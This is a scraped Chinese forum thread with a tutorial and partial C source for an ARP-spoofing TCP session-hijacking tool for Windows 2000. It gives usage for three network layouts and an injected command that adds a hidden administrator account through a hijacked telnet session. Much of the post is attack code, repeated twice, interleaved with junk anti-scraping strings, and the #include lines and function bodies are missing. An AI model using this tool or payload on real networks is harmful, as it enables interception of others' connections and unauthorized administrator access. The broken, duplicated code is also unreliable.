QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4223|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
9 \+ P* `- H& t( f/ {2 @7 j0 bHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 ' C/ D/ q+ a: r4 v
第二步是ARP欺骗,具体原理我就不说了。
& h3 b3 E* o% ~+ q) t/ R4 a7 R第三步就是开始劫持啦。 4 M- H8 R$ F9 u) x6 D7 f1 r  J. C

" l7 ^% [4 a: t5 Y3 f0 q0 ]我写了个程序xHijack可以实现第二、三步功能,使用如下:
, e1 y7 h! D: q; P: r, z) F* h% X/ w# Z6 H! P2 H/ N
Usage: xHijack ServerSide ClientSide
4 g  d# [" O) w+ b, n- D% ]% Q
6 ?: ?- J+ j3 {; @下面根据三种不同的情况分别说明如何输入参数:
' L0 c7 X8 [3 d& A0 O: s<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
3 M! l% ^9 ^; K3 V$ K% M2 a假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
# W: Q  S. h# Z( [( vc:\>xHijack 192.168.0.2 192.168.0.3 / o7 R0 `- ~6 z$ E
劫持前数据流程:server <--> client
! q$ E6 y9 Y5 ~/ }# @% P劫持后数据流程:server <--> hijacker <--> client
6 @$ O4 B. n* O0 P
% Y7 s$ B1 m1 P* G<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
4 A* U) J3 s0 D. X& u9 T假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 ! `# n- s' r6 e+ F4 c$ t
xHijack 202.202.202.2 202.202.202.1 5 t. o% n- C4 H0 M6 Y1 u
劫持前数据流程:server <--> gw <--> routes <--> client & L7 Z8 T, N$ P7 d
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client ; s0 z; Q" m- J& h$ _3 [4 A" ^" U: C
+ R0 j2 H  m" o* ], n+ ^
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
3 W. C! d( M* h* _, S假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 # v4 k2 _8 E9 r% h6 H
xHijack 192.168.0.1 192.168.0.2
8 x6 }! H: [2 u! _0 \6 v- B" S劫持前数据流程:client <--> gw <--> routes <--> server 7 C2 `  |: E* ~% ^( c
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server - E  k+ j! x* I4 ?
' W" {7 p1 G1 k$ {$ |  v' F
输入两个参数后,会提示你选择网卡,然后会提示
/ f& c5 u  t8 M" @l        <-- List all connections
$ a4 u, p0 }! O5 b7 Zr x       <-- Reset the number x connection
( F2 p+ D* b/ Z# J# Hw x       <-- Watch the number x connection 3 f  j' O9 J1 _. w0 X
h x command   <-- Hijack the number x connection to execute command . N  p9 q/ _2 K7 p- H( i

* H) u( c8 v: ~8 L+ S# \& [8 A4 ulist、reset、watch命令我就不解释了。
# ~  V, F# j1 E  x$ ]假如现在有如下连接 + f  }9 Y7 i" z( S" S  q% U
(1) 202.202.202.202:23 <--> 192.168.0.3:2345 : |/ q! }5 U  [& w1 k# e9 {6 p1 G
我们想要劫持这个连接运行我们的命令,输入 ! K- i- F9 x9 b, v  G' B4 i7 `
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
4 |0 I# a' G+ N2 ?+ @为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
: b3 |9 ^9 ]% I( d+ Y/ F! vpnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
. i' d3 `& t0 E$ ?都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
. S( E; |( k4 K* p8 [( N& m" I
: |" p- I' s( j劫持的流程如下:
" H% t  K' S( m<1>伪装成Server给Client发一个rst包 + r& i- O' s0 O6 w& y
<2>伪装成Client给Server发了一个数据包
5 D! X: b* ~6 k- h) a$ v) i2 k* X1 L<3>Server回一个ACK包给client
) l+ v! f. _' ^1 G* V$ N: f8 p, U<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
/ u+ H$ ]& ]6 T& u. Q& u, I3 r# w! Q& v& T
这样的话,我们只能发一个伪造的包,但我想已经足够了。 $ s5 [6 b  G0 ~# p6 F
想要一直劫持那个连接也可以,如下 6 T0 \/ E* U, [, @( S8 v5 F
<1>伪装成Server给Client发一个rst包 4 l* q" j2 d; G. w5 J0 Z
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
( k% J. `& T1 N0 U<3>伪装成Client给Server发了一个数据包 ) n9 d2 F/ N( ?) z2 Q1 T
<4>Server回一个ACK包给client   {$ A; B( l* }2 d( R: p3 E& U
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
/ v0 d0 R1 Y$ E/ D: F; H% B4 g, v<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
& x0 L$ U* e+ u$ u3 v
; B' H  C' T% I不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
1 |, H+ C% R3 ~2 t7 m( K( e/ x% e: p$ g3 l5 ]" t" e

: e' x* c0 z! h" h" a% l刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 8 `9 M* b, v; `& v& F! X
还请各位多多指点。 ) X3 V( m( v: a9 m

. E' v% M2 T' b: KBTW:我没有空间,编译好的程序没地方放:( ! J# m6 b( B: h6 m; O/ B2 N. y
$ Y, G' U* Q0 |& Q( N
- ]5 I& I0 M$ N2 X
. Y+ b' m8 R# {. ^
参考资料 4 A/ E+ R0 G5 {+ h* v3 R1 L1 G! m1 O! {
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 9 b! d' k( ^  v; ]! y6 m
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 / E2 B# X5 S9 e" |! z
, ?$ k; _: b6 H5 a

' m$ r" y5 ^' \, y4 E. j: w以下是程序代码
1 T! ?9 \: H+ \1 o! |---------------------------------------------------------------------- 5 b- u, D! N  a0 i) S$ z) h& [
/*-----------------------------------------------------------------------------
& @7 A% x3 l* YFile      : xHijack.c . G6 @# O- y3 K+ I+ j% w1 ?
Version      : 1.0 2 f0 m" L7 [5 K" R$ [5 ]2 n
Create at    : 2002/8/12 - R0 a8 k6 j$ L+ C. C' K% j
Last modifed at  : 2002/8/19
1 r+ N! {+ `1 r" a- NAuthor      : eyas
9 A; \* b  w7 A" i+ ~; x4 UEmail      : ey4s@21cn.com
* Z% I& m: w9 m3 r4 @HomePage    : www.ey4s.org 9 ~$ V1 F: J$ R, d2 \+ B
感谢refdom和shotgun发布的源代码,使我获益非浅。
$ p6 ?) P% I9 MIf you modify the code, or add more functions, please email me a copy. 6 J- k: e0 K- ]- n  b. j/ ~

' N0 Q% v. {; J" ~- X; i4 H: U备注:
' g  }, l$ T* G& ]/ {7 t<>没有考虑IP头、TCP头超过20字节的情况
- I. h0 H" u0 h/ p* R  x<>没有考虑数据包分片的情况 : Y6 d( A9 @4 Q, E. D
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 # N" h# o" t$ a/ h
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
2 [% T* a5 y+ ~) Y题了。
1 M) F0 O5 g8 \7 w  @$ B9 h# S; v- Z% Z' a9 ^8 \! z4 {
也许下一版本会修正这些问题,也许不会有下一版本了。 , b1 x: [  K. H- S  T
7 V3 K0 M; U/ k; @2 A
-----------------------------------------------------------------------------*/
4 n( }* l) A' v9 V8 \#include
. w3 Z& j8 i6 I$ R4 y& n' O#include
; j$ \; B* a( D) d9 O#include
" R0 S- p% M. J( J" _#include
  V; p' c" j% u0 D( G9 d3 [8 x#include
1 O2 I# i6 L% v# z# F4 r# i6 I/ _#include
5 E5 p' M+ z6 ~9 N: r#include
' p8 s% [* D: A# M+ s/ ~' V4 R6 e  N$ f6 j$ a& K% Q# q
#pragma comment (lib, "packet")
8 d) g8 T6 _$ `9 l$ [5 R1 s#pragma comment (lib, "iphlpapi")
' L7 b; e0 s# U1 [6 k4 n#pragma comment (lib, "ws2_32")
; e/ {6 p! d  T3 M2 I6 f
$ S6 `% f. f+ |* ^#define Max_Num_Adapter 10 8 s) z& g' M6 ~+ W. U; o8 m6 F
#define Max_Num_IPAddr  5
+ e( P8 _. T9 d+ j$ L#define EPT_IP      0x0800      /* type: IP  */
& [9 R4 g( a* R! C6 t+ O! g4 \9 q' ^#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
: m" |; c$ e- h- C#define EPT_ARP      0x0806      /* type: ARP */
( ~9 i. I: \' y( ~* A. o% Q+ x/ V1 X% q% @
#define  ACTION_NONE    0 : {- z+ X7 m7 X
#define  ACTION_WATCH  1 " E! @! l! |7 b5 s# C& l4 U
#define  ACTION_RESET  2
- f* K% r" k. e* v; L& h1 @#define ACTION_HIJACK  3 4 v( f  ~6 E5 Z: H4 H$ B" J
* `% w0 g# S# l8 w0 o6 ~
/*以1字节对齐*/
) ~9 |/ w2 a3 ^8 @* o+ o& R$ |8 d#pragma pack(1)
# [8 S5 z+ M. M3 v0 c* ]/ rtypedef struct _ehhdr ; J; t) J+ N' }. ~. @+ @) s
{
% |0 i! e3 o- }- C  unsigned char  DestMAC[6]; # R% q/ x. L& E3 x5 I: c
  unsigned char  SourceMAC[6]; : Y" C4 U; n8 t
  unsigned short  EthernetType;
* l( i- E5 Z; x; D5 ~) U}EHHDR, *PEHHDR; " S% {/ u4 S6 F# Y4 _% ~5 a4 M

) K4 R! R' A$ h" Ntypedef struct _iphdr        //定义IP首部
7 b9 h! T$ d( M6 O* |' l; M{
5 R2 E7 [) L1 F/ p  unsigned char h_verlen;      //4位首部长度,4位IP版本号
% q4 j( c0 d5 P8 W/ U" {/ C: E  unsigned char tos;        //8位服务类型TOS " [" s, q9 C! ~5 Z8 F2 Y
  unsigned short total_len;    //16位总长度(字节)
7 h9 H% G6 Q- k- F  unsigned short ident;      //16位标识
0 n: L& K" `; i' N: j& K. [  unsigned short frag_and_flags;  //3位标志位 % @6 q: t+ [8 O' M6 p' x
  unsigned char ttl;        //8位生存时间 TTL
& w$ n) R" H7 c. u2 q8 f  unsigned char proto;      //8位协议 (TCP, UDP 或其他)   f& g- A6 k& U/ H4 j. G
  unsigned short checksum;    //16位IP首部校验和 ; b- S  i2 E9 w* E' s
  unsigned int sourceIP;      //32位源IP地址
7 t4 G3 e5 x4 i' y8 s# W  unsigned int destIP;      //32位目的IP地址 / `: U+ u6 c6 Y' {0 n9 k3 A) w
}IPHDR, *PIPHDR;
; |% `$ Z3 J6 ~, m, k( [7 K, L- p! D# }8 x
typedef struct _tcphdr        //定义TCP首部 / [; e& R; k, r) J0 t) Z
{
1 P+ V. A3 L2 F  USHORT th_sport;        //16位源端口 + J; `: C( E* Z7 v
  USHORT th_dport;        //16位目的端口 ' R5 `8 Y4 \, V# `0 p0 ]- _$ j7 `1 r
  unsigned int th_seq;      //32位序列号 $ ~7 K) d5 z; J9 q; V! N8 I) @
  unsigned int th_ack;      //32位确认号
- Y1 t4 D! t* J2 k  unsigned char th_lenres;    //4位首部长度/6位保留字
" ]6 ~- O: a. q4 J9 b9 l" G+ |; P  unsigned char th_flag;      //6位标志位 1 b! \' G2 I! y3 b/ u
  USHORT th_win;          //16位窗口大小
0 h9 U# k/ n7 |* Y  USHORT th_sum;          //16位校验和 ! j6 g# u$ i0 \' J) c4 `3 i. t3 }
  USHORT th_urp;          //16位紧急数据偏移量
$ _/ p/ i( V8 E}TCPHDR, *PTCPHDR;
9 ^. O8 ]8 }9 |2 W% J1 R/ A
0 |: g/ @2 P0 }/ w' p; F; h% Ttypedef struct _psdhdr        //定义TCP pseudo header ' \$ r" D* Q- ?$ q. ?( Q) o
{               
6 q0 t* q# g- `  unsigned long saddr; $ r/ V, t; \0 a- i
  unsigned long daddr;
& A! C' Z) K" ^) A; P, K/ I& H; C  char mbz;
. B$ F7 q7 Z( }- f1 t+ ?/ ]5 b! {  char ptcl; ' @- f$ ?- R' B1 p" q, @  \6 A7 V
  unsigned short tcpl;
  G) B4 b% S( `; R! i; z# `}PSDHDR, *PPSDHDR;
% z, E5 m; |8 k4 k- s9 w* R. u0 v  \/ @+ u- t
typedef struct _arphdr 8 P2 E3 z$ `9 V. `5 q; e- F
{
5 \! |  h3 J7 L8 H! c" N  unsigned short  HrdType;//硬件类型
: F& J0 g, f% W" y# I! S  unsigned short  ProType;//协议类型
& T( Q% i" N, O  unsigned char  HrdAddrlen;//硬件地址长度
5 N% Y& L+ T# ?  unsigned char  ProAddrLen;//协议地址长度 - y  d' k& w0 Y7 |' F! M$ ?7 j: v, R
  unsigned short  op;//operation / `8 u- Z8 P0 P' D, E- I/ r# F
  unsigned char  SourceMAC[6];/* sender hardware address */ 8 ?* M' ]+ _6 W# s1 E. z0 b
  unsigned long  SourceIP;/* sender protocol address */
* K1 R8 _* C) u2 c3 ]* C4 `  unsigned char  DestMAC[6];/* target hardware address */
' \4 h( G' h# l1 f3 R+ A9 @- D  unsigned long  DestIP;/* target protocol address */
: Q8 f) h$ M! Y8 s}ARPHDR, *PARPHDR; : d  X; K4 @$ l+ r( u( \: j

1 Q1 j) h+ T5 `4 c% ?, a2 o) ?typedef struct _ArpPacket
" w8 r: \+ T# t; v9 o4 u{
; U5 B- r7 e# l% b: `4 ~  EHHDR  ehhdr; 6 Y* ~' i) ]! Q$ Y) s) T2 R+ G
  ARPHDR  arphdr;
0 F% I* ]8 s* R1 m# u}ARPPACKET, *PARPPACKET; " X$ z. ~$ B+ x5 t& A
! f4 |7 U) P8 \! [
typedef struct _tcppacket
( A8 ^" N7 r# E6 ?# P' \8 Z{
6 e+ }) q3 p: A! i) j  EHHDR  ehhdr; . W$ L1 z" X- T
  IPHDR  iphdr;
& `  r( D: H8 _  TCPHDR  tcphdr;
% r; o; E7 [' C7 K}TCPPACKET, *PTCPPACKET;
; b+ M* m! U# t% W8 ]' D! R9 _) v$ N2 E) T% ?% A3 d/ }
typedef struct _conninfo
5 R0 U" d6 `& ~/ x2 t+ d* ~2 s{ + S& m- S) @" G% E  ~
  DWORD  dwServerIP; + {& h6 t( t" c! f: x
  USHORT  uServerPort;
- K4 @; ]0 l5 {  DWORD  dwClientIP;
2 C4 O1 C  h0 b6 H1 @9 E7 u  USHORT  uClientPort;
4 X! i2 R( l6 p1 h: g  DWORD  ident;//标识
( f& H3 {( k$ T+ {) l- \. |8 R  BOOL  bActive; * ]6 R& t8 t. \
  struct  _conninfo  *Next;
8 I2 L% \) [" U  a/ m( I, ?- ^& d}CONNINFO, *PCONNINFO; & R1 J& }' s! {& f9 y  V
( S1 u6 V; b5 T3 u9 ^5 R# h8 k
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
# z/ h* b6 v: t4 J; q+ G        g_ClientSideIP, ( `( o# j" y- W( p
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 2 A/ d0 s0 U) K9 l2 L
        g_TotalIP = 0;// ; e+ w) ?4 K; _4 s+ I7 P; P
unsigned char  g_szOwnMAC[6];//本机MAC地址 ) W% }# U6 t6 W7 X4 {3 E$ y1 q8 n
unsigned char  g_szClientSideMAC[6]; # |) B; c" v; E
unsigned char  g_szServerSideMAC[6]; # b( `6 M: Z* C  q
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 , C4 I5 V  J1 G3 S$ ]% U# |
LPADAPTER    g_lpAdapter; 3 O: [4 n9 v  G- g
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
' b3 B) w; s6 p! M( fHANDLE      g_hThread[4]; . a) X4 _" J. g  a- G
char      g_szCommand[128];//command to execute after hijack 2 ~3 K, h* `& d( ^$ z: L. I9 @# A" C) e
DWORD      g_dwAction;//action type ! q! x- S  h2 P4 ]6 W  Q' X0 V
DWORD      g_dwCtrlConn;//action 所控制连接的标识
2 r3 O3 Q- |1 b2 R+ P7 _, yDWORD      g_ident;//节点标识,递增
' ]8 R6 ^# K0 D! W% hPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
$ X! u. _6 `  t$ z! _        g_pConnHead = NULL,
  f. b* h6 w0 n4 k3 z  R4 G        g_pConnLast = NULL;
& a4 h% @9 N7 L0 z2 Q! N( H* Uchar      g_szSendPacketBuf[1514];
' l5 I4 z$ Z# e4 O' g3 \LPPACKET    g_lpSendPacket; , N. h/ \. R6 _) C; A7 H& B
//函数 0 c2 K/ I7 d7 \  s2 w1 I, R  k$ ]
void      usage(void);
8 h8 T- x0 n& p1 ^& X; G# ^/ ]: O7 dvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
! u( Q: ^% k2 T, `void      ListAllConnection();//列出当前所有的连接
1 s: f) k& k) l# B9 ~; wvoid      ResetActionAllFlag();
: S* l" n0 \4 j' X5 `) o/ D$ AUSHORT      checksum(USHORT *, int);
. B8 b1 i4 c+ U3 z( e# RBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
7 g+ k" W( I. T. D3 j  }& ^& ZBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 6 S$ B1 A' n5 |9 s/ x& g
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
* w6 F% L' J5 W, }BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
; Z! K8 L( `0 n5 a: j) sBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 & s# u+ m7 ~- Z6 V
DWORD      GetConnNum(char *, DWORD, DWORD *);
3 T/ g, X; L9 A2 ~% cDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);   U( z% {8 ^4 [- k8 Q! W& X9 w) P
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 ) _& n* U: F# j! [% h
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 * d( b7 s5 r+ M% U7 l$ C
DWORD  WINAPI  InterfaceThread(LPVOID);//
8 w8 l2 Q1 Q* w% \% C5 l+ XBOOL  WINAPI  CtrlEvent(DWORD);
* k. x& e5 \! c& d
* C% i6 Z5 S, T8 S$ o
; Q$ q2 \: B) o  ]7 X- c! F
1 ?! X7 E  P# F; zint main(int argc, char **argv) ; ^; r) V0 @; y
{ : S! R! ]3 g4 T8 C1 b6 K+ f1 _& u
  struct    bpf_stat stat;
# L9 Q- C, i$ m3 c! z/ C8 c  int      i; 4 e3 t! b' V9 q

4 R- L& x1 z3 M1 V  usage();
" J1 S% l( W7 B1 D& ^1 [9 @  if (argc != 3) return 0; 7 d  x6 n* r* [0 X( D
  //取得参数 : B8 v  ]/ g" |* @
  g_ServerSideIP = inet_addr(argv[1]);
1 @8 G* v/ z" s- y3 y  g_ClientSideIP = inet_addr(argv[2]); 7 {; a$ E8 h# W
  //初始化adapter & 一些全局变量
* A/ Y. {& d/ |5 ?4 Z# s0 }9 Y  g_lpAdapter = InitAdapter(); 4 z& r9 s2 [" I$ X
  if(!g_lpAdapter) return 0; / E& V4 l- u8 }" ~
  //get ServerSide MAC & ClientSide MAC
: X5 S: d5 `# O7 w8 D& o; ^( N  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; : |6 c+ ]) `/ A7 U
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; & m9 b! g) j. w+ Y
  //create arp spoof thread     , \0 Z* ]* z' E7 {
  i = 1; - P/ s$ R8 ?. y3 h4 V3 _
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); & P7 N& \' V. D0 M8 ^. i7 q' M: V8 H
  Sleep(500);
/ X% L' x; C1 A0 P7 t4 C  i = 2; 9 `3 D  _% ?. M% w, H/ s
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
/ ~5 e4 P) W: S3 ~+ |  //create analyse packet thread - r' e, E: f8 |' l
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
) d; `( H( ?/ ?; ?  //create interface thread
3 }7 a8 |6 P. A- W* @: h- |  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
. a% ?' t7 e$ i+ f3 B9 i/ j* z, Y  //set console ctrl handle - s6 Q0 e4 g- I5 j) ~# p0 P3 t  H) _
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) % o; k0 o8 Y% l9 d. E* K
  {
1 d1 P5 ]& d  \% }0 Q0 f  p2 @& O1 o    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
% m: B+ O* m! u    return 0;   u  M$ r+ [6 f: o- A
  }
2 a" R/ w. }" n8 ^3 w  C  //wait for any thread exit 0 W; E! |" e7 f% A0 ]/ ~! j( j
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 6 G! y& p/ a2 G  d% V4 T
  //print the capture statistics 2 J6 G$ m2 i3 M3 n* m8 ]
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) * k- o1 t0 @% |
    printf("Warning: unable to get stats from the kernel!\n"); % ~! b5 o; [8 N% P' ]! H2 |0 u1 R
  else
$ A: j# m* A, P" n5 M; g. p+ v    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); , d! x! S+ n: a3 d, i
  //free resource   
$ E) y& C2 P/ p; ]5 }  PacketFreePacket(g_lpSendPacket); * v- G) ]4 z" b$ }
  PacketCloseAdapter(g_lpAdapter); : e7 m9 Z* z7 g9 t
  return 0; 0 a8 y* c* o  h/ O, @0 I
} 7 }, ^. x2 u" J$ e) \
* h9 e; B* b! o. v$ P  w* h4 K0 `
//
% G; n# J" @# i% t# n//功能:重置所有于ACTION有关的标志 & M0 X; a" Y! A/ d
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 9 g7 `4 l  m# `/ a: l; D
        g_ClientSideIP,
8 C/ M8 E4 }% r( @6 K        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
( b: V( h& n7 F4 P9 x        g_TotalIP = 0;// 3 m+ Q& x4 Y! r7 m/ R; q
unsigned char  g_szOwnMAC[6];//本机MAC地址 $ e9 }$ K7 \, B: G
unsigned char  g_szClientSideMAC[6];
& \) s) ^7 t+ d9 Y5 |2 v' R  }- nunsigned char  g_szServerSideMAC[6]; / v3 v+ L0 \6 O  ~! T  q
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 # S6 R6 G: d+ a2 ?; a
LPADAPTER    g_lpAdapter; 3 Y% [8 C, }5 p, J0 X$ A: I1 ?6 P. u
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
! V7 E5 p- s+ I  o  h7 d1 c* F7 UHANDLE      g_hThread[4]; 9 S. v% [) L9 B
char      g_szCommand[128];//command to execute after hijack
: t/ q  Q9 V' m4 j) w" [& D8 F7 TDWORD      g_dwAction;//action type 3 j" S+ S8 D' ?/ w3 ^2 x
DWORD      g_dwCtrlConn;//action 所控制连接的标识 - W, M3 n3 G* w' J5 S2 w9 E" }; [* ~+ I
DWORD      g_ident;//节点标识,递增
/ i" ?. [# p! J+ U- APCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 . N/ P( V8 O( r: Z
        g_pConnHead = NULL,
* B0 R7 @5 Z6 j        g_pConnLast = NULL; * R+ r6 t9 N8 S) O4 X; M
char      g_szSendPacketBuf[1514]; 5 N8 B1 d# f; u; ~
LPPACKET    g_lpSendPacket; ' R+ M! F' i& _: }
//函数
) H( X4 L% U/ |4 b& q: Tvoid      usage(void);
, B; |- ?( g% K" U2 _- Svoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
6 r' O; b; `3 {: U6 W- G1 @9 d- `void      ListAllConnection();//列出当前所有的连接 % ^2 R% E2 ]. L: s" c/ I$ z
void      ResetActionAllFlag();
: u8 f, u; K2 A: OUSHORT      checksum(USHORT *, int); 1 |& f+ [; h3 n9 W6 E9 G+ p- p7 O) K
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
& _0 Y8 x) j( R, XBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
1 q( c, c8 G* r% H$ MLPADAPTER    InitAdapter();//初始化一些参数和全局变量   S8 G  g- v6 }6 J0 H! O' [4 B- w
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 0 q3 y& u) [1 P/ H" ^# ^
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 0 L2 H* Q) p* E' V: c, z5 {
DWORD      GetConnNum(char *, DWORD, DWORD *); - V1 x6 \- C# W: e
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 5 D. q1 Y! A% o: A
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
4 _  [# m6 t$ y$ x; n2 G, qDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 5 u& ^0 o6 i9 j6 z1 q" R
DWORD  WINAPI  InterfaceThread(LPVOID);//
/ d4 O3 \4 ?- \, K" A5 GBOOL  WINAPI  CtrlEvent(DWORD); * V# P+ a7 {; l* T# S  m
* T+ S  b  l1 @) Q0 {" E( w5 y
- |# f& C1 W/ ?7 Q
; U( [7 a* d; n- y+ ]' k% C
int main(int argc, char **argv)
+ z6 m8 w/ y6 m{
+ S$ |4 j2 j& }% c7 n: e& |8 _  struct    bpf_stat stat; . |# z% K7 n' J5 A; [
  int      i; 1 |+ L  _& P; @4 X2 }
8 |& \8 o! S( Q; H% t; f/ }# `# g
  usage(); ! n: K) B2 }8 o
  if (argc != 3) return 0; 1 p) H% u3 F+ X; Z( [
  //取得参数 1 t: T1 e6 n$ G1 f# @$ M
  g_ServerSideIP = inet_addr(argv[1]); " h- n1 I0 D* V; D- P
  g_ClientSideIP = inet_addr(argv[2]); ' [/ U  F& S8 J+ C8 v
  //初始化adapter & 一些全局变量 8 \. a* t. k4 ~4 ~- P5 v3 t; e
  g_lpAdapter = InitAdapter();
! W5 z( b8 j* a- f" j! @  if(!g_lpAdapter) return 0; 9 q. l* v6 U2 W5 V
  //get ServerSide MAC & ClientSide MAC   b( C% c% l, I7 ]3 {$ a$ ~0 P3 ?4 d
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; . J9 X# j4 n4 Q' e
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; 5 H3 y( L: K6 }9 Q) c, d. u
  //create arp spoof thread     6 ]3 |( a! h, C. ?2 D
  i = 1;
" |6 H. Y* A! d0 i$ O: B' J* G  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 7 v2 d7 s; Y# J- Y, B* L
  Sleep(500); + p+ |3 g1 J' p" J
  i = 2; , U4 X5 U8 h5 @) M/ u1 ~1 c
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
, ?  k2 t5 |% P! I( _3 p" w  //create analyse packet thread - v7 \* \0 n% x# e! ^" ~; m+ A
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
1 x1 y; c9 s, p8 y) y- E, m  //create interface thread
2 i" ^) F5 k. }9 `" _( y+ r  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); - X$ o$ u- u0 K' a0 U0 ^
  //set console ctrl handle
- d# R  ~1 A( X5 Z' u; T  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ; g5 I6 g, y6 r( F9 [% [
  { - J- S( B# W1 \* ~) b3 t" K
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
) B4 {9 @( K  e, p, s- h/ i9 t    return 0; 8 S. \; ]: `7 Y* ^: D
  } " Y7 y0 Y; J% n' I, s7 J
  //wait for any thread exit - Y2 u7 Y  _1 P; o, [2 ]
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 9 n& P8 t) M) V" ?" l  d4 s2 m
  //print the capture statistics
7 ]3 [/ A) [8 q: k6 b8 p! c+ K  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
8 X! k2 a, W# ?+ `- Q& k1 b    printf("Warning: unable to get stats from the kernel!\n");
" v0 U0 m8 d& W5 x8 g  else . r: x8 R( _/ L* k
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
: P$ W2 q  B4 }$ u+ a  //free resource   
0 m' X# C, p2 P  PacketFreePacket(g_lpSendPacket);
4 W# `4 w( A4 @" f. u  PacketCloseAdapter(g_lpAdapter);
: s/ {; I  i4 C8 Z0 i) M$ y  return 0; $ M4 H/ U1 f+ l  ?/ @
} 2 D  N$ D5 V; d, q

7 h4 R* U+ Z! ~$ N7 i' j, m7 T// , Q2 r2 R* [# \8 V9 G( F
